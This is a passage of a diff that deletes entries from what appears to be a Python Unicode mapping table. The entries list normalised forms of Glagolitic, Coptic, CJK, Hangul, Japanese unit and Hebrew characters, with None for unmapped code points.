-    "w",
-    "x",
-    "y",
-    "z",
-    "0",
-    None,
-    "∫∫∫∫",
-    None,
-    "::=",
-    "==",
-    "===",
-    None,
-    "⫝̸",
-    None,
-    None,
-    None,
-    "ⰰ",
-    "ⰱ",
-    "ⰲ",
-    "ⰳ",
-    "ⰴ",
-    "ⰵ",
-    "ⰶ",
-    "ⰷ",
-    "ⰸ",
-    "ⰹ",
-    "ⰺ",
-    "ⰻ",
-    "ⰼ",
-    "ⰽ",
-    "ⰾ",
-    "ⰿ",
-    "ⱀ",
-    "ⱁ",
-    "ⱂ",
-    "ⱃ",
-    "ⱄ",
-    "ⱅ",
-    "ⱆ",
-    "ⱇ",
-    "ⱈ",
-    "ⱉ",
-    "ⱊ",
-    "ⱋ",
-    "ⱌ",
-    "ⱍ",
-    "ⱎ",
-    "ⱏ",
-    "ⱐ",
-    "ⱑ",
-    "ⱒ",
-    "ⱓ",
-    "ⱔ",
-    "ⱕ",
-    "ⱖ",
-    "ⱗ",
-    "ⱘ",
-    "ⱙ",
-    "ⱚ",
-    "ⱛ",
-    "ⱜ",
-    "ⱝ",
-    "ⱞ",
-    "ⱟ",
-    None,
-    "ⱡ",
-    None,
-    "ɫ",
-    "ᵽ",
-    "ɽ",
-    None,
-    "ⱨ",
-    None,
-    "ⱪ",
-    None,
-    "ⱬ",
-    None,
-    "ɑ",
-    "ɱ",
-    "ɐ",
-    "ɒ",
-    None,
-    "ⱳ",
-    None,
-    "ⱶ",
-    None,
-    "j",
-    "v",
-    "ȿ",
-    "ɀ",
-    "ⲁ",
-    None,
-    "ⲃ",
-    None,
-    "ⲅ",
-    None,
-    "ⲇ",
-    None,
-    "ⲉ",
-    None,
-    "ⲋ",
-    None,
-    "ⲍ",
-    None,
-    "ⲏ",
-    None,
-    "ⲑ",
-    None,
-    "ⲓ",
-    None,
-    "ⲕ",
-    None,
-    "ⲗ",
-    None,
-    "ⲙ",
-    None,
-    "ⲛ",
-    None,
-    "ⲝ",
-    None,
-    "ⲟ",
-    None,
-    "ⲡ",
-    None,
-    "ⲣ",
-    None,
-    "ⲥ",
-    None,
-    "ⲧ",
-    None,
-    "ⲩ",
-    None,
-    "ⲫ",
-    None,
-    "ⲭ",
-    None,
-    "ⲯ",
-    None,
-    "ⲱ",
-    None,
-    "ⲳ",
-    None,
-    "ⲵ",
-    None,
-    "ⲷ",
-    None,
-    "ⲹ",
-    None,
-    "ⲻ",
-    None,
-    "ⲽ",
-    None,
-    "ⲿ",
-    None,
-    "ⳁ",
-    None,
-    "ⳃ",
-    None,
-    "ⳅ",
-    None,
-    "ⳇ",
-    None,
-    "ⳉ",
-    None,
-    "ⳋ",
-    None,
-    "ⳍ",
-    None,
-    "ⳏ",
-    None,
-    "ⳑ",
-    None,
-    "ⳓ",
-    None,
-    "ⳕ",
-    None,
-    "ⳗ",
-    None,
-    "ⳙ",
-    None,
-    "ⳛ",
-    None,
-    "ⳝ",
-    None,
-    "ⳟ",
-    None,
-    "ⳡ",
-    None,
-    "ⳣ",
-    None,
-    "ⳬ",
-    None,
-    "ⳮ",
-    None,
-    "ⳳ",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "ⵡ",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "母",
-    None,
-    "龟",
-    None,
-    "一",
-    "丨",
-    "丶",
-    "丿",
-    "乙",
-    "亅",
-    "二",
-    "亠",
-    "人",
-    "儿",
-    "入",
-    "八",
-    "冂",
-    "冖",
-    "冫",
-    "几",
-    "凵",
-    "刀",
-    "力",
-    "勹",
-    "匕",
-    "匚",
-    "匸",
-    "十",
-    "卜",
-    "卩",
-    "厂",
-    "厶",
-    "又",
-    "口",
-    "囗",
-    "土",
-    "士",
-    "夂",
-    "夊",
-    "夕",
-    "大",
-    "女",
-    "子",
-    "宀",
-    "寸",
-    "小",
-    "尢",
-    "尸",
-    "屮",
-    "山",
-    "巛",
-    "工",
-    "己",
-    "巾",
-    "干",
-    "幺",
-    "广",
-    "廴",
-    "廾",
-    "弋",
-    "弓",
-    "彐",
-    "彡",
-    "彳",
-    "心",
-    "戈",
-    "戶",
-    "手",
-    "支",
-    "攴",
-    "文",
-    "斗",
-    "斤",
-    "方",
-    "无",
-    "日",
-    "曰",
-    "月",
-    "木",
-    "欠",
-    "止",
-    "歹",
-    "殳",
-    "毋",
-    "比",
-    "毛",
-    "氏",
-    "气",
-    "水",
-    "火",
-    "爪",
-    "父",
-    "爻",
-    "爿",
-    "片",
-    "牙",
-    "牛",
-    "犬",
-    "玄",
-    "玉",
-    "瓜",
-    "瓦",
-    "甘",
-    "生",
-    "用",
-    "田",
-    "疋",
-    "疒",
-    "癶",
-    "白",
-    "皮",
-    "皿",
-    "目",
-    "矛",
-    "矢",
-    "石",
-    "示",
-    "禸",
-    "禾",
-    "穴",
-    "立",
-    "竹",
-    "米",
-    "糸",
-    "缶",
-    "网",
-    "羊",
-    "羽",
-    "老",
-    "而",
-    "耒",
-    "耳",
-    "聿",
-    "肉",
-    "臣",
-    "自",
-    "至",
-    "臼",
-    "舌",
-    "舛",
-    "舟",
-    "艮",
-    "色",
-    "艸",
-    "虍",
-    "虫",
-    "血",
-    "行",
-    "衣",
-    "襾",
-    "見",
-    "角",
-    "言",
-    "谷",
-    "豆",
-    "豕",
-    "豸",
-    "貝",
-    "赤",
-    "走",
-    "足",
-    "身",
-    "車",
-    "辛",
-    "辰",
-    "辵",
-    "邑",
-    "酉",
-    "釆",
-    "里",
-    "金",
-    "長",
-    "門",
-    "阜",
-    "隶",
-    "隹",
-    "雨",
-    "靑",
-    "非",
-    "面",
-    "革",
-    "韋",
-    "韭",
-    "音",
-    "頁",
-    "風",
-    "飛",
-    "食",
-    "首",
-    "香",
-    "馬",
-    "骨",
-    "高",
-    "髟",
-    "鬥",
-    "鬯",
-    "鬲",
-    "鬼",
-    "魚",
-    "鳥",
-    "鹵",
-    "鹿",
-    "麥",
-    "麻",
-    "黃",
-    "黍",
-    "黑",
-    "黹",
-    "黽",
-    "鼎",
-    "鼓",
-    "鼠",
-    "鼻",
-    "齊",
-    "齒",
-    "龍",
-    "龜",
-    "龠",
-    None,
-    " ",
-    None,
-    ".",
-    None,
-    "〒",
-    None,
-    "十",
-    "卄",
-    "卅",
-    None,
-    None,
-    None,
-    None,
-    None,
-    " ゙",
-    " ゚",
-    None,
-    "より",
-    None,
-    "コト",
-    None,
-    None,
-    None,
-    "ᄀ",
-    "ᄁ",
-    "ᆪ",
-    "ᄂ",
-    "ᆬ",
-    "ᆭ",
-    "ᄃ",
-    "ᄄ",
-    "ᄅ",
-    "ᆰ",
-    "ᆱ",
-    "ᆲ",
-    "ᆳ",
-    "ᆴ",
-    "ᆵ",
-    "ᄚ",
-    "ᄆ",
-    "ᄇ",
-    "ᄈ",
-    "ᄡ",
-    "ᄉ",
-    "ᄊ",
-    "ᄋ",
-    "ᄌ",
-    "ᄍ",
-    "ᄎ",
-    "ᄏ",
-    "ᄐ",
-    "ᄑ",
-    "ᄒ",
-    "ᅡ",
-    "ᅢ",
-    "ᅣ",
-    "ᅤ",
-    "ᅥ",
-    "ᅦ",
-    "ᅧ",
-    "ᅨ",
-    "ᅩ",
-    "ᅪ",
-    "ᅫ",
-    "ᅬ",
-    "ᅭ",
-    "ᅮ",
-    "ᅯ",
-    "ᅰ",
-    "ᅱ",
-    "ᅲ",
-    "ᅳ",
-    "ᅴ",
-    "ᅵ",
-    None,
-    "ᄔ",
-    "ᄕ",
-    "ᇇ",
-    "ᇈ",
-    "ᇌ",
-    "ᇎ",
-    "ᇓ",
-    "ᇗ",
-    "ᇙ",
-    "ᄜ",
-    "ᇝ",
-    "ᇟ",
-    "ᄝ",
-    "ᄞ",
-    "ᄠ",
-    "ᄢ",
-    "ᄣ",
-    "ᄧ",
-    "ᄩ",
-    "ᄫ",
-    "ᄬ",
-    "ᄭ",
-    "ᄮ",
-    "ᄯ",
-    "ᄲ",
-    "ᄶ",
-    "ᅀ",
-    "ᅇ",
-    "ᅌ",
-    "ᇱ",
-    "ᇲ",
-    "ᅗ",
-    "ᅘ",
-    "ᅙ",
-    "ᆄ",
-    "ᆅ",
-    "ᆈ",
-    "ᆑ",
-    "ᆒ",
-    "ᆔ",
-    "ᆞ",
-    "ᆡ",
-    None,
-    None,
-    "一",
-    "二",
-    "三",
-    "四",
-    "上",
-    "中",
-    "下",
-    "甲",
-    "乙",
-    "丙",
-    "丁",
-    "天",
-    "地",
-    "人",
-    None,
-    None,
-    None,
-    "(ᄀ)",
-    "(ᄂ)",
-    "(ᄃ)",
-    "(ᄅ)",
-    "(ᄆ)",
-    "(ᄇ)",
-    "(ᄉ)",
-    "(ᄋ)",
-    "(ᄌ)",
-    "(ᄎ)",
-    "(ᄏ)",
-    "(ᄐ)",
-    "(ᄑ)",
-    "(ᄒ)",
-    "(가)",
-    "(나)",
-    "(다)",
-    "(라)",
-    "(마)",
-    "(바)",
-    "(사)",
-    "(아)",
-    "(자)",
-    "(차)",
-    "(카)",
-    "(타)",
-    "(파)",
-    "(하)",
-    "(주)",
-    "(오전)",
-    "(오후)",
-    None,
-    "(一)",
-    "(二)",
-    "(三)",
-    "(四)",
-    "(五)",
-    "(六)",
-    "(七)",
-    "(八)",
-    "(九)",
-    "(十)",
-    "(月)",
-    "(火)",
-    "(水)",
-    "(木)",
-    "(金)",
-    "(土)",
-    "(日)",
-    "(株)",
-    "(有)",
-    "(社)",
-    "(名)",
-    "(特)",
-    "(財)",
-    "(祝)",
-    "(労)",
-    "(代)",
-    "(呼)",
-    "(学)",
-    "(監)",
-    "(企)",
-    "(資)",
-    "(協)",
-    "(祭)",
-    "(休)",
-    "(自)",
-    "(至)",
-    "問",
-    "幼",
-    "文",
-    "箏",
-    None,
-    "pte",
-    "21",
-    "22",
-    "23",
-    "24",
-    "25",
-    "26",
-    "27",
-    "28",
-    "29",
-    "30",
-    "31",
-    "32",
-    "33",
-    "34",
-    "35",
-    "ᄀ",
-    "ᄂ",
-    "ᄃ",
-    "ᄅ",
-    "ᄆ",
-    "ᄇ",
-    "ᄉ",
-    "ᄋ",
-    "ᄌ",
-    "ᄎ",
-    "ᄏ",
-    "ᄐ",
-    "ᄑ",
-    "ᄒ",
-    "가",
-    "나",
-    "다",
-    "라",
-    "마",
-    "바",
-    "사",
-    "아",
-    "자",
-    "차",
-    "카",
-    "타",
-    "파",
-    "하",
-    "참고",
-    "주의",
-    "우",
-    None,
-    "一",
-    "二",
-    "三",
-    "四",
-    "五",
-    "六",
-    "七",
-    "八",
-    "九",
-    "十",
-    "月",
-    "火",
-    "水",
-    "木",
-    "金",
-    "土",
-    "日",
-    "株",
-    "有",
-    "社",
-    "名",
-    "特",
-    "財",
-    "祝",
-    "労",
-    "秘",
-    "男",
-    "女",
-    "適",
-    "優",
-    "印",
-    "注",
-    "項",
-    "休",
-    "写",
-    "正",
-    "上",
-    "中",
-    "下",
-    "左",
-    "右",
-    "医",
-    "宗",
-    "学",
-    "監",
-    "企",
-    "資",
-    "協",
-    "夜",
-    "36",
-    "37",
-    "38",
-    "39",
-    "40",
-    "41",
-    "42",
-    "43",
-    "44",
-    "45",
-    "46",
-    "47",
-    "48",
-    "49",
-    "50",
-    "1月",
-    "2月",
-    "3月",
-    "4月",
-    "5月",
-    "6月",
-    "7月",
-    "8月",
-    "9月",
-    "10月",
-    "11月",
-    "12月",
-    "hg",
-    "erg",
-    "ev",
-    "ltd",
-    "ア",
-    "イ",
-    "ウ",
-    "エ",
-    "オ",
-    "カ",
-    "キ",
-    "ク",
-    "ケ",
-    "コ",
-    "サ",
-    "シ",
-    "ス",
-    "セ",
-    "ソ",
-    "タ",
-    "チ",
-    "ツ",
-    "テ",
-    "ト",
-    "ナ",
-    "ニ",
-    "ヌ",
-    "ネ",
-    "ノ",
-    "ハ",
-    "ヒ",
-    "フ",
-    "ヘ",
-    "ホ",
-    "マ",
-    "ミ",
-    "ム",
-    "メ",
-    "モ",
-    "ヤ",
-    "ユ",
-    "ヨ",
-    "ラ",
-    "リ",
-    "ル",
-    "レ",
-    "ロ",
-    "ワ",
-    "ヰ",
-    "ヱ",
-    "ヲ",
-    "令和",
-    "アパート",
-    "アルファ",
-    "アンペア",
-    "アール",
-    "イニング",
-    "インチ",
-    "ウォン",
-    "エスクード",
-    "エーカー",
-    "オンス",
-    "オーム",
-    "カイリ",
-    "カラット",
-    "カロリー",
-    "ガロン",
-    "ガンマ",
-    "ギガ",
-    "ギニー",
-    "キュリー",
-    "ギルダー",
-    "キロ",
-    "キログラム",
-    "キロメートル",
-    "キロワット",
-    "グラム",
-    "グラムトン",
-    "クルゼイロ",
-    "クローネ",
-    "ケース",
-    "コルナ",
-    "コーポ",
-    "サイクル",
-    "サンチーム",
-    "シリング",
-    "センチ",
-    "セント",
-    "ダース",
-    "デシ",
-    "ドル",
-    "トン",
-    "ナノ",
-    "ノット",
-    "ハイツ",
-    "パーセント",
-    "パーツ",
-    "バーレル",
-    "ピアストル",
-    "ピクル",
-    "ピコ",
-    "ビル",
-    "ファラッド",
-    "フィート",
-    "ブッシェル",
-    "フラン",
-    "ヘクタール",
-    "ペソ",
-    "ペニヒ",
-    "ヘルツ",
-    "ペンス",
-    "ページ",
-    "ベータ",
-    "ポイント",
-    "ボルト",
-    "ホン",
-    "ポンド",
-    "ホール",
-    "ホーン",
-    "マイクロ",
-    "マイル",
-    "マッハ",
-    "マルク",
-    "マンション",
-    "ミクロン",
-    "ミリ",
-    "ミリバール",
-    "メガ",
-    "メガトン",
-    "メートル",
-    "ヤード",
-    "ヤール",
-    "ユアン",
-    "リットル",
-    "リラ",
-    "ルピー",
-    "ルーブル",
-    "レム",
-    "レントゲン",
-    "ワット",
-    "0点",
-    "1点",
-    "2点",
-    "3点",
-    "4点",
-    "5点",
-    "6点",
-    "7点",
-    "8点",
-    "9点",
-    "10点",
-    "11点",
-    "12点",
-    "13点",
-    "14点",
-    "15点",
-    "16点",
-    "17点",
-    "18点",
-    "19点",
-    "20点",
-    "21点",
-    "22点",
-    "23点",
-    "24点",
-    "hpa",
-    "da",
-    "au",
-    "bar",
-    "ov",
-    "pc",
-    "dm",
-    "dm2",
-    "dm3",
-    "iu",
-    "平成",
-    "昭和",
-    "大正",
-    "明治",
-    "株式会社",
-    "pa",
-    "na",
-    "μa",
-    "ma",
-    "ka",
-    "kb",
-    "mb",
-    "gb",
-    "cal",
-    "kcal",
-    "pf",
-    "nf",
-    "μf",
-    "μg",
-    "mg",
-    "kg",
-    "hz",
-    "khz",
-    "mhz",
-    "ghz",
-    "thz",
-    "μl",
-    "ml",
-    "dl",
-    "kl",
-    "fm",
-    "nm",
-    "μm",
-    "mm",
-    "cm",
-    "km",
-    "mm2",
-    "cm2",
-    "m2",
-    "km2",
-    "mm3",
-    "cm3",
-    "m3",
-    "km3",
-    "m∕s",
-    "m∕s2",
-    "pa",
-    "kpa",
-    "mpa",
-    "gpa",
-    "rad",
-    "rad∕s",
-    "rad∕s2",
-    "ps",
-    "ns",
-    "μs",
-    "ms",
-    "pv",
-    "nv",
-    "μv",
-    "mv",
-    "kv",
-    "mv",
-    "pw",
-    "nw",
-    "μw",
-    "mw",
-    "kw",
-    "mw",
-    "kω",
-    "mω",
-    None,
-    "bq",
-    "cc",
-    "cd",
-    "c∕kg",
-    None,
-    "db",
-    "gy",
-    "ha",
-    "hp",
-    "in",
-    "kk",
-    "km",
-    "kt",
-    "lm",
-    "ln",
-    "log",
-    "lx",
-    "mb",
-    "mil",
-    "mol",
-    "ph",
-    None,
-    "ppm",
-    "pr",
-    "sr",
-    "sv",
-    "wb",
-    "v∕m",
-    "a∕m",
-    "1日",
-    "2日",
-    "3日",
-    "4日",
-    "5日",
-    "6日",
-    "7日",
-    "8日",
-    "9日",
-    "10日",
-    "11日",
-    "12日",
-    "13日",
-    "14日",
-    "15日",
-    "16日",
-    "17日",
-    "18日",
-    "19日",
-    "20日",
-    "21日",
-    "22日",
-    "23日",
-    "24日",
-    "25日",
-    "26日",
-    "27日",
-    "28日",
-    "29日",
-    "30日",
-    "31日",
-    "gal",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "ꙁ",
-    None,
-    "ꙃ",
-    None,
-    "ꙅ",
-    None,
-    "ꙇ",
-    None,
-    "ꙉ",
-    None,
-    "ꙋ",
-    None,
-    "ꙍ",
-    None,
-    "ꙏ",
-    None,
-    "ꙑ",
-    None,
-    "ꙓ",
-    None,
-    "ꙕ",
-    None,
-    "ꙗ",
-    None,
-    "ꙙ",
-    None,
-    "ꙛ",
-    None,
-    "ꙝ",
-    None,
-    "ꙟ",
-    None,
-    "ꙡ",
-    None,
-    "ꙣ",
-    None,
-    "ꙥ",
-    None,
-    "ꙧ",
-    None,
-    "ꙩ",
-    None,
-    "ꙫ",
-    None,
-    "ꙭ",
-    None,
-    "ꚁ",
-    None,
-    "ꚃ",
-    None,
-    "ꚅ",
-    None,
-    "ꚇ",
-    None,
-    "ꚉ",
-    None,
-    "ꚋ",
-    None,
-    "ꚍ",
-    None,
-    "ꚏ",
-    None,
-    "ꚑ",
-    None,
-    "ꚓ",
-    None,
-    "ꚕ",
-    None,
-    "ꚗ",
-    None,
-    "ꚙ",
-    None,
-    "ꚛ",
-    None,
-    "ъ",
-    "ь",
-    None,
-    None,
-    None,
-    "ꜣ",
-    None,
-    "ꜥ",
-    None,
-    "ꜧ",
-    None,
-    "ꜩ",
-    None,
-    "ꜫ",
-    None,
-    "ꜭ",
-    None,
-    "ꜯ",
-    None,
-    "ꜳ",
-    None,
-    "ꜵ",
-    None,
-    "ꜷ",
-    None,
-    "ꜹ",
-    None,
-    "ꜻ",
-    None,
-    "ꜽ",
-    None,
-    "ꜿ",
-    None,
-    "ꝁ",
-    None,
-    "ꝃ",
-    None,
-    "ꝅ",
-    None,
-    "ꝇ",
-    None,
-    "ꝉ",
-    None,
-    "ꝋ",
-    None,
-    "ꝍ",
-    None,
-    "ꝏ",
-    None,
-    "ꝑ",
-    None,
-    "ꝓ",
-    None,
-    "ꝕ",
-    None,
-    "ꝗ",
-    None,
-    "ꝙ",
-    None,
-    "ꝛ",
-    None,
-    "ꝝ",
-    None,
-    "ꝟ",
-    None,
-    "ꝡ",
-    None,
-    "ꝣ",
-    None,
-    "ꝥ",
-    None,
-    "ꝧ",
-    None,
-    "ꝩ",
-    None,
-    "ꝫ",
-    None,
-    "ꝭ",
-    None,
-    "ꝯ",
-    None,
-    "ꝯ",
-    None,
-    "ꝺ",
-    None,
-    "ꝼ",
-    None,
-    "ᵹ",
-    "ꝿ",
-    None,
-    "ꞁ",
-    None,
-    "ꞃ",
-    None,
-    "ꞅ",
-    None,
-    "ꞇ",
-    None,
-    "ꞌ",
-    None,
-    "ɥ",
-    None,
-    "ꞑ",
-    None,
-    "ꞓ",
-    None,
-    "ꞗ",
-    None,
-    "ꞙ",
-    None,
-    "ꞛ",
-    None,
-    "ꞝ",
-    None,
-    "ꞟ",
-    None,
-    "ꞡ",
-    None,
-    "ꞣ",
-    None,
-    "ꞥ",
-    None,
-    "ꞧ",
-    None,
-    "ꞩ",
-    None,
-    "ɦ",
-    "ɜ",
-    "ɡ",
-    "ɬ",
-    "ɪ",
-    None,
-    "ʞ",
-    "ʇ",
-    "ʝ",
-    "ꭓ",
-    "ꞵ",
-    None,
-    "ꞷ",
-    None,
-    "ꞹ",
-    None,
-    "ꞻ",
-    None,
-    "ꞽ",
-    None,
-    "ꞿ",
-    None,
-    "ꟁ",
-    None,
-    "ꟃ",
-    None,
-    "ꞔ",
-    "ʂ",
-    "ᶎ",
-    "ꟈ",
-    None,
-    "ꟊ",
-    None,
-    "ɤ",
-    "\ua7cd",
-    None,
-    "\ua7cf",
-    None,
-    "ꟑ",
-    None,
-    "ꟓ",
-    None,
-    "ꟕ",
-    None,
-    "ꟗ",
-    None,
-    "ꟙ",
-    None,
-    "\ua7db",
-    None,
-    "ƛ",
-    None,
-    "s",
-    "c",
-    "f",
-    "q",
-    "ꟶ",
-    None,
-    "ħ",
-    "œ",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "ꜧ",
-    "ꬷ",
-    "ɫ",
-    "ꭒ",
-    None,
-    "ʍ",
-    None,
-    None,
-    "Ꭰ",
-    "Ꭱ",
-    "Ꭲ",
-    "Ꭳ",
-    "Ꭴ",
-    "Ꭵ",
-    "Ꭶ",
-    "Ꭷ",
-    "Ꭸ",
-    "Ꭹ",
-    "Ꭺ",
-    "Ꭻ",
-    "Ꭼ",
-    "Ꭽ",
-    "Ꭾ",
-    "Ꭿ",
-    "Ꮀ",
-    "Ꮁ",
-    "Ꮂ",
-    "Ꮃ",
-    "Ꮄ",
-    "Ꮅ",
-    "Ꮆ",
-    "Ꮇ",
-    "Ꮈ",
-    "Ꮉ",
-    "Ꮊ",
-    "Ꮋ",
-    "Ꮌ",
-    "Ꮍ",
-    "Ꮎ",
-    "Ꮏ",
-    "Ꮐ",
-    "Ꮑ",
-    "Ꮒ",
-    "Ꮓ",
-    "Ꮔ",
-    "Ꮕ",
-    "Ꮖ",
-    "Ꮗ",
-    "Ꮘ",
-    "Ꮙ",
-    "Ꮚ",
-    "Ꮛ",
-    "Ꮜ",
-    "Ꮝ",
-    "Ꮞ",
-    "Ꮟ",
-    "Ꮠ",
-    "Ꮡ",
-    "Ꮢ",
-    "Ꮣ",
-    "Ꮤ",
-    "Ꮥ",
-    "Ꮦ",
-    "Ꮧ",
-    "Ꮨ",
-    "Ꮩ",
-    "Ꮪ",
-    "Ꮫ",
-    "Ꮬ",
-    "Ꮭ",
-    "Ꮮ",
-    "Ꮯ",
-    "Ꮰ",
-    "Ꮱ",
-    "Ꮲ",
-    "Ꮳ",
-    "Ꮴ",
-    "Ꮵ",
-    "Ꮶ",
-    "Ꮷ",
-    "Ꮸ",
-    "Ꮹ",
-    "Ꮺ",
-    "Ꮻ",
-    "Ꮼ",
-    "Ꮽ",
-    "Ꮾ",
-    "Ꮿ",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "豈",
-    "更",
-    "車",
-    "賈",
-    "滑",
-    "串",
-    "句",
-    "龜",
-    "契",
-    "金",
-    "喇",
-    "奈",
-    "懶",
-    "癩",
-    "羅",
-    "蘿",
-    "螺",
-    "裸",
-    "邏",
-    "樂",
-    "洛",
-    "烙",
-    "珞",
-    "落",
-    "酪",
-    "駱",
-    "亂",
-    "卵",
-    "欄",
-    "爛",
-    "蘭",
-    "鸞",
-    "嵐",
-    "濫",
-    "藍",
-    "襤",
-    "拉",
-    "臘",
-    "蠟",
-    "廊",
-    "朗",
-    "浪",
-    "狼",
-    "郎",
-    "來",
-    "冷",
-    "勞",
-    "擄",
-    "櫓",
-    "爐",
-    "盧",
-    "老",
-    "蘆",
-    "虜",
-    "路",
-    "露",
-    "魯",
-    "鷺",
-    "碌",
-    "祿",
-    "綠",
-    "菉",
-    "錄",
-    "鹿",
-    "論",
-    "壟",
-    "弄",
-    "籠",
-    "聾",
-    "牢",
-    "磊",
-    "賂",
-    "雷",
-    "壘",
-    "屢",
-    "樓",
-    "淚",
-    "漏",
-    "累",
-    "縷",
-    "陋",
-    "勒",
-    "肋",
-    "凜",
-    "凌",
-    "稜",
-    "綾",
-    "菱",
-    "陵",
-    "讀",
-    "拏",
-    "樂",
-    "諾",
-    "丹",
-    "寧",
-    "怒",
-    "率",
-    "異",
-    "北",
-    "磻",
-    "便",
-    "復",
-    "不",
-    "泌",
-    "數",
-    "索",
-    "參",
-    "塞",
-    "省",
-    "葉",
-    "說",
-    "殺",
-    "辰",
-    "沈",
-    "拾",
-    "若",
-    "掠",
-    "略",
-    "亮",
-    "兩",
-    "凉",
-    "梁",
-    "糧",
-    "良",
-    "諒",
-    "量",
-    "勵",
-    "呂",
-    "女",
-    "廬",
-    "旅",
-    "濾",
-    "礪",
-    "閭",
-    "驪",
-    "麗",
-    "黎",
-    "力",
-    "曆",
-    "歷",
-    "轢",
-    "年",
-    "憐",
-    "戀",
-    "撚",
-    "漣",
-    "煉",
-    "璉",
-    "秊",
-    "練",
-    "聯",
-    "輦",
-    "蓮",
-    "連",
-    "鍊",
-    "列",
-    "劣",
-    "咽",
-    "烈",
-    "裂",
-    "說",
-    "廉",
-    "念",
-    "捻",
-    "殮",
-    "簾",
-    "獵",
-    "令",
-    "囹",
-    "寧",
-    "嶺",
-    "怜",
-    "玲",
-    "瑩",
-    "羚",
-    "聆",
-    "鈴",
-    "零",
-    "靈",
-    "領",
-    "例",
-    "禮",
-    "醴",
-    "隸",
-    "惡",
-    "了",
-    "僚",
-    "寮",
-    "尿",
-    "料",
-    "樂",
-    "燎",
-    "療",
-    "蓼",
-    "遼",
-    "龍",
-    "暈",
-    "阮",
-    "劉",
-    "杻",
-    "柳",
-    "流",
-    "溜",
-    "琉",
-    "留",
-    "硫",
-    "紐",
-    "類",
-    "六",
-    "戮",
-    "陸",
-    "倫",
-    "崙",
-    "淪",
-    "輪",
-    "律",
-    "慄",
-    "栗",
-    "率",
-    "隆",
-    "利",
-    "吏",
-    "履",
-    "易",
-    "李",
-    "梨",
-    "泥",
-    "理",
-    "痢",
-    "罹",
-    "裏",
-    "裡",
-    "里",
-    "離",
-    "匿",
-    "溺",
-    "吝",
-    "燐",
-    "璘",
-    "藺",
-    "隣",
-    "鱗",
-    "麟",
-    "林",
-    "淋",
-    "臨",
-    "立",
-    "笠",
-    "粒",
-    "狀",
-    "炙",
-    "識",
-    "什",
-    "茶",
-    "刺",
-    "切",
-    "度",
-    "拓",
-    "糖",
-    "宅",
-    "洞",
-    "暴",
-    "輻",
-    "行",
-    "降",
-    "見",
-    "廓",
-    "兀",
-    "嗀",
-    None,
-    "塚",
-    None,
-    "晴",
-    None,
-    "凞",
-    "猪",
-    "益",
-    "礼",
-    "神",
-    "祥",
-    "福",
-    "靖",
-    "精",
-    "羽",
-    None,
-    "蘒",
-    None,
-    "諸",
-    None,
-    "逸",
-    "都",
-    None,
-    "飯",
-    "飼",
-    "館",
-    "鶴",
-    "郞",
-    "隷",
-    "侮",
-    "僧",
-    "免",
-    "勉",
-    "勤",
-    "卑",
-    "喝",
-    "嘆",
-    "器",
-    "塀",
-    "墨",
-    "層",
-    "屮",
-    "悔",
-    "慨",
-    "憎",
-    "懲",
-    "敏",
-    "既",
-    "暑",
-    "梅",
-    "海",
-    "渚",
-    "漢",
-    "煮",
-    "爫",
-    "琢",
-    "碑",
-    "社",
-    "祉",
-    "祈",
-    "祐",
-    "祖",
-    "祝",
-    "禍",
-    "禎",
-    "穀",
-    "突",
-    "節",
-    "練",
-    "縉",
-    "繁",
-    "署",
-    "者",
-    "臭",
-    "艹",
-    "著",
-    "褐",
-    "視",
-    "謁",
-    "謹",
-    "賓",
-    "贈",
-    "辶",
-    "逸",
-    "難",
-    "響",
-    "頻",
-    "恵",
-    "𤋮",
-    "舘",
-    None,
-    "並",
-    "况",
-    "全",
-    "侀",
-    "充",
-    "冀",
-    "勇",
-    "勺",
-    "喝",
-    "啕",
-    "喙",
-    "嗢",
-    "塚",
-    "墳",
-    "奄",
-    "奔",
-    "婢",
-    "嬨",
-    "廒",
-    "廙",
-    "彩",
-    "徭",
-    "惘",
-    "慎",
-    "愈",
-    "憎",
-    "慠",
-    "懲",
-    "戴",
-    "揄",
-    "搜",
-    "摒",
-    "敖",
-    "晴",
-    "朗",
-    "望",
-    "杖",
-    "歹",
-    "殺",
-    "流",
-    "滛",
-    "滋",
-    "漢",
-    "瀞",
-    "煮",
-    "瞧",
-    "爵",
-    "犯",
-    "猪",
-    "瑱",
-    "甆",
-    "画",
-    "瘝",
-    "瘟",
-    "益",
-    "盛",
-    "直",
-    "睊",
-    "着",
-    "磌",
-    "窱",
-    "節",
-    "类",
-    "絛",
-    "練",
-    "缾",
-    "者",
-    "荒",
-    "華",
-    "蝹",
-    "襁",
-    "覆",
-    "視",
-    "調",
-    "諸",
-    "請",
-    "謁",
-    "諾",
-    "諭",
-    "謹",
-    "變",
-    "贈",
-    "輸",
-    "遲",
-    "醙",
-    "鉶",
-    "陼",
-    "難",
-    "靖",
-    "韛",
-    "響",
-    "頋",
-    "頻",
-    "鬒",
-    "龜",
-    "𢡊",
-    "𢡄",
-    "𣏕",
-    "㮝",
-    "䀘",
-    "䀹",
-    "𥉉",
-    "𥳐",
-    "𧻓",
-    "齃",
-    "龎",
-    None,
-    "ff",
-    "fi",
-    "fl",
-    "ffi",
-    "ffl",
-    "st",
-    None,
-    "մն",
-    "մե",
-    "մի",
-    "վն",
-    "մխ",
-    None,
-    "יִ",
-    None,
-    "ײַ",
-    "ע",
-    "א",
-    "ד",
-    "ה",
-    "כ",
-    "ל",
-    "ם",
-    "ר",
-    "ת",
-    "+",
-    "שׁ",
-    "שׂ",
-    "שּׁ",
-    "שּׂ",
-    "אַ",
-    "אָ",
-    "אּ",
-    "בּ",
-    "גּ",
-    "דּ",
-    "הּ",
-    "וּ",
-    "זּ",
-    None,
-    "טּ",
-    "יּ",
-    "ךּ",
-    "כּ",
-    "לּ",
-    None,
-    "מּ",
-    None,
-    "נּ",
-    "סּ",
-    None,
-    "ףּ",
-    "פּ",
-    None,
